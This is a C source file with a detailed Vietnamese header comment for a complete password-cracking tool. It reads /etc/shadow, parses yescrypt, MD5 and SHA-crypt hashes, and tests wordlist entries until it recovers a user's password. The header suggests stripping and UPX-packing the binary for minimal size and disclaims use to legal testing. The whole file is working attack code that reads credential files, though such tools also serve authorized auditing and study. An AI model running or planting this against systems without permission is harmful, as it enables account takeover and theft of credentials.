482 lines
17 KiB
C
482 lines
17 KiB
C
/*
|
|
============================
|
|
Giải thích chi tiết về cách hoạt động của bruteforce.c
|
|
Tác giả: @tuankiet2s
|
|
|
|
Mục đích:
|
|
---------
|
|
Đây là chương trình brute-force mật khẩu người dùng trên hệ thống Unix/Linux, hỗ trợ nhiều loại hash (yescrypt, MD5, SHA256, SHA512). Chương trình được thiết kế tối giản, không phụ thuộc thư viện ngoài, tối ưu cho kích thước nhỏ nhất.
|
|
|
|
Quy trình hoạt động:
|
|
--------------------
|
|
1. Đọc tham số dòng lệnh:
|
|
- argv[1]: tên user cần brute-force
|
|
- argv[2]: đường dẫn file wordlist (danh sách mật khẩu thử)
|
|
|
|
2. Đọc file /etc/shadow:
|
|
- Mở file /etc/shadow bằng syscall để lấy dòng chứa thông tin hash của user mục tiêu.
|
|
- Nếu không tìm thấy user, thông báo lỗi và thoát.
|
|
|
|
3. Phân tích chuỗi hash:
|
|
- Hàm parse_hash() tách loại hash (hash_id), salt, và giá trị hash thực tế từ chuỗi hash lấy được.
|
|
- Hỗ trợ các định dạng: yescrypt ($y$), MD5 ($1$), SHA256 ($5$), SHA512 ($6$).
|
|
- Tạo salt phù hợp để truyền vào hàm crypt() hoặc yescrypt.
|
|
|
|
4. Đọc file wordlist và thử từng mật khẩu:
|
|
- Đọc từng dòng (mỗi dòng là một mật khẩu) từ file wordlist.
|
|
- Với mỗi mật khẩu:
|
|
+ Nếu hash_id là 'y' (yescrypt), sử dụng hàm yescrypt_crypt() để kiểm tra.
|
|
+ Nếu là hash khác, sử dụng hàm crypt() của hệ thống với salt đã tạo.
|
|
- So sánh kết quả hash với hash của user. Nếu trùng khớp, in ra mật khẩu và kết thúc.
|
|
- Cập nhật tiến trình mỗi 1000 lần thử.
|
|
|
|
5. Xử lý dòng cuối cùng nếu file không kết thúc bằng newline.
|
|
|
|
6. In thống kê cuối cùng:
|
|
- Số lượng mật khẩu đã thử
|
|
- Thông báo thành công hoặc thất bại
|
|
|
|
Các hàm phụ trợ:
|
|
----------------
|
|
- my_strlen, my_strncmp: các hàm xử lý chuỗi tối giản
|
|
- write_stderr, write_stdout: ghi ra stderr/stdout bằng syscall
|
|
- strpos: tìm vị trí chuỗi con trong chuỗi
|
|
- read_line: đọc từng dòng từ file descriptor
|
|
- extract_user_hash: lấy hash của user từ dòng shadow
|
|
- parse_hash: tách thông tin từ chuỗi hash
|
|
- create_salt: tạo salt phù hợp cho crypt()
|
|
- my_itoa: chuyển số nguyên thành chuỗi
|
|
- yescrypt_crypt: kiểm tra mật khẩu với yescrypt
|
|
|
|
Lưu ý bảo mật:
|
|
--------------
|
|
- Chỉ sử dụng cho mục đích kiểm thử hợp pháp, giáo dục.
|
|
- Không sử dụng trên hệ thống không được phép.
|
|
- Cần quyền root để truy cập /etc/shadow.
|
|
|
|
Tối ưu hóa:
|
|
-----------
|
|
- Biên dịch tĩnh, strip symbol, nén UPX để giảm kích thước binary tối đa.
|
|
- Đọc file và xử lý chuỗi bằng syscall, không dùng thư viện chuẩn để giảm dependency.
|
|
|
|
*/
|
|
#include <unistd.h>
|
|
#include <sys/syscall.h>
|
|
#include <fcntl.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <stdint.h>
|
|
|
|
// Include yescrypt implementation
|
|
#include "yescrypt.h"
|
|
|
|
#define BUF_SIZE 4096
|
|
#define MAX_LINE 1024
|
|
#define MAX_PASS 256
|
|
|
|
// Minimal strlen
|
|
static int my_strlen(const char *s) { int n=0; while(s[n]) n++; return n; }
|
|
|
|
// Minimal strncmp
|
|
static int my_strncmp(const char *a, const char *b, int n) { for(int i=0;i<n;i++) if(a[i]!=b[i]||!a[i]||!b[i]) return a[i]-b[i]; return 0; }
|
|
|
|
// Write string to stderr
|
|
static void write_stderr(const char *s) {
|
|
syscall(SYS_write, 2, s, my_strlen(s));
|
|
}
|
|
|
|
// Write string to stdout
|
|
static void write_stdout(const char *s) {
|
|
syscall(SYS_write, 1, s, my_strlen(s));
|
|
}
|
|
|
|
// Tìm vị trí chuỗi con trong chuỗi chính
|
|
// Thuật toán: duyệt từng vị trí trong chuỗi chính, so sánh với chuỗi con
|
|
static int strpos(const char *string, const char *substring, int offset) {
|
|
int string_len = my_strlen(string);
|
|
int sub_len = my_strlen(substring);
|
|
|
|
// Duyệt từ vị trí offset đến vị trí có thể chứa chuỗi con
|
|
for(int i = offset; i <= string_len - sub_len; i++) {
|
|
int j;
|
|
// So sánh từng ký tự của chuỗi con với chuỗi chính tại vị trí i
|
|
for(j = 0; j < sub_len; j++) {
|
|
if(string[i + j] != substring[j]) break;
|
|
}
|
|
// Nếu so sánh hết chuỗi con mà không khác biệt, đã tìm thấy
|
|
if(j == sub_len) return i;
|
|
}
|
|
return -1; // Không tìm thấy
|
|
}
|
|
|
|
// Read a line from fd into buf, return length or 0 on EOF
|
|
static int read_line(int fd, char *buf, int max) {
|
|
int i=0, r;
|
|
char c;
|
|
while(i<max-1) {
|
|
r = syscall(SYS_read, fd, &c, 1);
|
|
if(r<=0) break;
|
|
if(c=='\n') break;
|
|
buf[i++] = c;
|
|
}
|
|
buf[i]=0;
|
|
return i;
|
|
}
|
|
|
|
// Trích xuất hash của user từ dòng trong file shadow
|
|
// Format: username:hash:other_fields
|
|
static char* extract_user_hash(const char *shadow_line, const char *username) {
|
|
// Tìm vị trí username trong dòng shadow
|
|
int username_index = strpos(shadow_line, username, 0);
|
|
if(username_index == -1) return NULL;
|
|
|
|
// Tìm vị trí bắt đầu hash (sau username:)
|
|
int hash_start = username_index + my_strlen(username) + 1;
|
|
// Tìm vị trí kết thúc hash (dấu : tiếp theo)
|
|
int hash_end = strpos(shadow_line, ":", hash_start);
|
|
if(hash_end == -1) return NULL;
|
|
|
|
// Tính độ dài hash và cấp phát bộ nhớ
|
|
int hash_len = hash_end - hash_start;
|
|
char *user_hash = malloc(hash_len + 1);
|
|
// Copy hash từ dòng shadow vào buffer mới
|
|
memcpy(user_hash, shadow_line + hash_start, hash_len);
|
|
user_hash[hash_len] = 0; // Thêm null terminator
|
|
|
|
return user_hash;
|
|
}
|
|
|
|
// Phân tích chuỗi hash để trích xuất ID thuật toán, salt, và giá trị hash
|
|
// Hỗ trợ format: $id$salt$hash hoặc $y$params$salt$hash (yescrypt)
|
|
static void parse_hash(const char *user_hash, int *hash_id, char *salt, char *hash_value) {
|
|
// Tìm vị trí các ký tự $ để phân tích cấu trúc hash
|
|
int first_dollar = strpos(user_hash, "$", 0);
|
|
if(first_dollar == -1) return;
|
|
|
|
int second_dollar = strpos(user_hash, "$", first_dollar + 1);
|
|
if(second_dollar == -1) return;
|
|
|
|
int third_dollar = strpos(user_hash, "$", second_dollar + 1);
|
|
if(third_dollar == -1) return;
|
|
|
|
// Trích xuất ID thuật toán (giữa $ đầu tiên và $ thứ hai)
|
|
int id_len = second_dollar - first_dollar - 1;
|
|
char id_str[8] = {0};
|
|
memcpy(id_str, user_hash + first_dollar + 1, id_len);
|
|
|
|
// Xử lý yescrypt (y) và các ID số
|
|
if(id_len == 1 && id_str[0] == 'y') {
|
|
*hash_id = 'y'; // Đánh dấu là yescrypt
|
|
|
|
// Với yescrypt, cần tìm $ thứ 4 để lấy salt thực tế
|
|
int fourth_dollar = strpos(user_hash, "$", third_dollar + 1);
|
|
if(fourth_dollar == -1) return;
|
|
|
|
// Trích xuất tham số (giữa $ thứ 2 và $ thứ 3)
|
|
int param_len = third_dollar - second_dollar - 1;
|
|
char parameters[64] = {0};
|
|
memcpy(parameters, user_hash + second_dollar + 1, param_len);
|
|
parameters[param_len] = 0;
|
|
|
|
// Trích xuất salt (giữa $ thứ 3 và $ thứ 4)
|
|
int salt_len = fourth_dollar - third_dollar - 1;
|
|
memcpy(salt, user_hash + third_dollar + 1, salt_len);
|
|
salt[salt_len] = 0;
|
|
|
|
// Trích xuất giá trị hash (sau $ thứ 4)
|
|
int hash_len = my_strlen(user_hash) - fourth_dollar - 1;
|
|
memcpy(hash_value, user_hash + fourth_dollar + 1, hash_len);
|
|
hash_value[hash_len] = 0;
|
|
|
|
// Với yescrypt, cần kết hợp tham số vào salt cho hàm crypt()
|
|
char combined_salt[128];
|
|
int len = 0;
|
|
combined_salt[len++] = '$';
|
|
combined_salt[len++] = 'y';
|
|
combined_salt[len++] = '$';
|
|
memcpy(combined_salt + len, parameters, param_len);
|
|
len += param_len;
|
|
combined_salt[len++] = '$';
|
|
memcpy(combined_salt + len, salt, salt_len);
|
|
len += salt_len;
|
|
combined_salt[len] = 0;
|
|
|
|
// Copy salt đã kết hợp vào tham số salt
|
|
memcpy(salt, combined_salt, len + 1);
|
|
|
|
} else {
|
|
// Xử lý các thuật toán hash khác (MD5, SHA256, SHA512)
|
|
*hash_id = atoi(id_str);
|
|
|
|
// Trích xuất salt (format chuẩn)
|
|
int salt_len = third_dollar - second_dollar - 1;
|
|
memcpy(salt, user_hash + second_dollar + 1, salt_len);
|
|
salt[salt_len] = 0;
|
|
|
|
// Trích xuất giá trị hash
|
|
int hash_len = my_strlen(user_hash) - third_dollar - 1;
|
|
memcpy(hash_value, user_hash + third_dollar + 1, hash_len);
|
|
hash_value[hash_len] = 0;
|
|
}
|
|
}
|
|
|
|
// Create formatted salt string for crypt()
|
|
static char* create_salt(int hash_id, const char *salt) {
|
|
char *formatted_salt = malloc(128);
|
|
int len = 0;
|
|
|
|
if(hash_id == 'y') {
|
|
// For yescrypt, the salt is already properly formatted
|
|
int salt_len = my_strlen(salt);
|
|
memcpy(formatted_salt, salt, salt_len);
|
|
formatted_salt[salt_len] = 0;
|
|
} else {
|
|
// Standard format for other algorithms
|
|
formatted_salt[len++] = '$';
|
|
if(hash_id == 1) {
|
|
formatted_salt[len++] = '1';
|
|
} else if(hash_id == 5) {
|
|
formatted_salt[len++] = '5';
|
|
} else if(hash_id == 6) {
|
|
formatted_salt[len++] = '6';
|
|
} else {
|
|
// Default to SHA512
|
|
formatted_salt[len++] = '6';
|
|
}
|
|
formatted_salt[len++] = '$';
|
|
|
|
int salt_len = my_strlen(salt);
|
|
memcpy(formatted_salt + len, salt, salt_len);
|
|
len += salt_len;
|
|
formatted_salt[len] = 0;
|
|
}
|
|
|
|
return formatted_salt;
|
|
}
|
|
|
|
// Chuyển đổi số nguyên dương thành chuỗi (itoa tối giản)
|
|
// Thuật toán: chia liên tiếp cho 10, lưu các chữ số vào mảng tạm, sau đó đảo ngược
|
|
static void my_itoa(int value, char *buf) {
|
|
char tmp[16];
|
|
int i = 0, j = 0;
|
|
if (value == 0) { buf[0] = '0'; buf[1] = 0; return; } // Xử lý trường hợp đặc biệt
|
|
// Chia liên tiếp cho 10, lưu từng chữ số vào mảng tạm (theo thứ tự ngược)
|
|
while (value > 0) { tmp[i++] = '0' + (value % 10); value /= 10; }
|
|
// Đảo ngược thứ tự các chữ số để có kết quả đúng
|
|
while (i > 0) { buf[j++] = tmp[--i]; }
|
|
buf[j] = 0; // Thêm null terminator
|
|
}
|
|
|
|
// Hàm crypt tùy chỉnh cho yescrypt sử dụng implementation tham chiếu
|
|
// Mục đích: tạo hash từ mật khẩu và so sánh với hash đã biết
|
|
static char* yescrypt_crypt(const char *password, const char *full_hash) {
|
|
static char result[128];
|
|
|
|
// Sử dụng hàm yescrypt từ implementation tham chiếu để tạo hash
|
|
uint8_t *generated_hash = yescrypt((const uint8_t *)password, (const uint8_t *)full_hash);
|
|
if (!generated_hash) {
|
|
return NULL; // Lỗi khi tạo hash
|
|
}
|
|
|
|
// So sánh hash được tạo với hash mong đợi
|
|
if (strcmp((char *)generated_hash, full_hash) == 0) {
|
|
// Nếu trùng khớp, copy hash vào buffer kết quả
|
|
int len = strlen((char *)generated_hash);
|
|
if (len < sizeof(result)) {
|
|
memcpy(result, generated_hash, len + 1);
|
|
return result; // Trả về hash nếu mật khẩu đúng
|
|
}
|
|
}
|
|
|
|
return NULL; // Mật khẩu không đúng
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
// Kiểm tra tham số dòng lệnh
|
|
if(argc<3) {
|
|
write_stderr("Usage: ");
|
|
write_stderr(argv[0]);
|
|
write_stderr(" <username> <wordlist>\n");
|
|
return 1;
|
|
}
|
|
char *username = argv[1];
|
|
char *wordlist_path = argv[2];
|
|
const char *shadow_path = "/etc/shadow";
|
|
|
|
// Mở file /etc/shadow để đọc thông tin hash của user
|
|
int sfd = syscall(SYS_open, shadow_path, O_RDONLY, 0);
|
|
if(sfd<0) {
|
|
write_stderr("Failed to open shadow file: ");
|
|
write_stderr(shadow_path);
|
|
write_stderr("\n");
|
|
return 2;
|
|
}
|
|
|
|
// Đọc từng dòng trong file shadow, tìm dòng chứa thông tin user mục tiêu
|
|
char line[MAX_LINE];
|
|
char *user_hash = NULL;
|
|
while(read_line(sfd, line, MAX_LINE)) {
|
|
user_hash = extract_user_hash(line, username);
|
|
if(user_hash) break; // Tìm thấy user, thoát vòng lặp
|
|
}
|
|
syscall(SYS_close, sfd);
|
|
|
|
if(!user_hash) {
|
|
write_stderr("User '");
|
|
write_stderr(username);
|
|
write_stderr("' not found in shadow file.\n");
|
|
return 3;
|
|
}
|
|
|
|
// Phân tích chuỗi hash để lấy thông tin thuật toán, salt, và giá trị hash
|
|
int hash_id;
|
|
char salt[64] = {0};
|
|
char hash_value[512] = {0};
|
|
parse_hash(user_hash, &hash_id, salt, hash_value);
|
|
|
|
// Kiểm tra xem có phân tích được hash không
|
|
if(hash_id == 0) {
|
|
write_stderr("Failed to parse hash format for user '");
|
|
write_stderr(username);
|
|
write_stderr("'\n");
|
|
free(user_hash);
|
|
return 4;
|
|
}
|
|
|
|
// In thông tin hữu ích về target và thuật toán hash
|
|
write_stderr("Target user: ");
|
|
write_stderr(username);
|
|
write_stderr("\n");
|
|
|
|
// Xác định và in loại hash algorithm
|
|
write_stderr("Hash type: ");
|
|
if(hash_id == 'y') {
|
|
write_stderr("yescrypt");
|
|
} else if(hash_id == 1) {
|
|
write_stderr("MD5");
|
|
} else if(hash_id == 5) {
|
|
write_stderr("SHA256");
|
|
} else if(hash_id == 6) {
|
|
write_stderr("SHA512");
|
|
} else {
|
|
char id_str[8];
|
|
my_itoa(hash_id, id_str);
|
|
write_stderr(id_str);
|
|
}
|
|
write_stderr("\n");
|
|
|
|
// In hash đầy đủ để debug
|
|
write_stderr("Full hash: ");
|
|
write_stderr(user_hash);
|
|
write_stderr("\n");
|
|
|
|
write_stderr("Starting bruteforce...\n");
|
|
|
|
// Tạo salt đã format cho hàm crypt() (cần thiết cho các hash không phải yescrypt)
|
|
char *formatted_salt = create_salt(hash_id, salt);
|
|
|
|
// Mở file wordlist để đọc danh sách mật khẩu cần thử
|
|
int wfd = syscall(SYS_open, wordlist_path, O_RDONLY, 0);
|
|
if(wfd<0) {
|
|
write_stderr("Failed to open wordlist: ");
|
|
write_stderr(wordlist_path);
|
|
write_stderr("\n");
|
|
free(user_hash);
|
|
free(formatted_salt);
|
|
return 5;
|
|
}
|
|
|
|
char pass[MAX_PASS];
|
|
int found=0;
|
|
char c;
|
|
int n=0;
|
|
int total_tried=0;
|
|
|
|
// Vòng lặp chính: đọc từng ký tự từ wordlist, xây dựng từng mật khẩu
|
|
while(syscall(SYS_read, wfd, &c, 1) == 1) {
|
|
if(c == '\n' || c == '\r') {
|
|
// Gặp kết thúc dòng, xử lý mật khẩu đã đọc
|
|
if(n > 0) {
|
|
pass[n] = 0; // Thêm null terminator
|
|
total_tried++;
|
|
|
|
// Hiển thị tiến trình mỗi 1000 lần thử
|
|
if(total_tried % 1000 == 0) {
|
|
char progress_str[32];
|
|
write_stderr("Tried ");
|
|
my_itoa(total_tried, progress_str);
|
|
write_stderr(progress_str);
|
|
write_stderr(" passwords...\n");
|
|
}
|
|
|
|
// Thử crack mật khẩu hiện tại
|
|
char *try_hash;
|
|
|
|
if(hash_id == 'y') {
|
|
// Sử dụng yescrypt cho hash yescrypt
|
|
try_hash = yescrypt_crypt(pass, user_hash);
|
|
} else {
|
|
// Sử dụng crypt() của hệ thống cho các loại hash khác
|
|
try_hash = crypt(pass, formatted_salt);
|
|
}
|
|
|
|
// So sánh hash được tạo với hash gốc
|
|
if(try_hash && strcmp(try_hash, user_hash)==0) {
|
|
write_stdout("Found password: ");
|
|
write_stdout(pass);
|
|
write_stdout("\n");
|
|
found=1;
|
|
break; // Tìm thấy mật khẩu, thoát vòng lặp
|
|
}
|
|
n = 0; // Reset để đọc mật khẩu tiếp theo
|
|
}
|
|
} else if(n < MAX_PASS-1) {
|
|
// Thêm ký tự vào buffer mật khẩu hiện tại
|
|
pass[n++] = c;
|
|
}
|
|
}
|
|
|
|
// Xử lý dòng cuối cùng nếu file không kết thúc bằng newline
|
|
if(n > 0 && !found) {
|
|
pass[n] = 0; // Thêm null terminator cho mật khẩu cuối
|
|
total_tried++;
|
|
char *try_hash;
|
|
|
|
if(hash_id == 'y') {
|
|
// Sử dụng yescrypt cho hash yescrypt
|
|
try_hash = yescrypt_crypt(pass, user_hash);
|
|
} else {
|
|
// Sử dụng crypt() của hệ thống cho các loại hash khác
|
|
try_hash = crypt(pass, formatted_salt);
|
|
}
|
|
|
|
// So sánh hash được tạo với hash gốc
|
|
if(try_hash && strcmp(try_hash, user_hash)==0) {
|
|
write_stdout("Found password: ");
|
|
write_stdout(pass);
|
|
write_stdout("\n");
|
|
found=1;
|
|
}
|
|
}
|
|
|
|
syscall(SYS_close, wfd);
|
|
|
|
// Print final summary
|
|
char total_str[32];
|
|
write_stderr("Total passwords tried: ");
|
|
my_itoa(total_tried, total_str);
|
|
write_stderr(total_str);
|
|
write_stderr("\n");
|
|
|
|
if(!found) {
|
|
write_stderr("No password match found for user '");
|
|
write_stderr(username);
|
|
write_stderr("' in wordlist.\n");
|
|
} else {
|
|
write_stderr("Password successfully cracked!\n");
|
|
}
|
|
|
|
free(user_hash);
|
|
free(formatted_salt);
|
|
return found?0:6;
|
|
}
|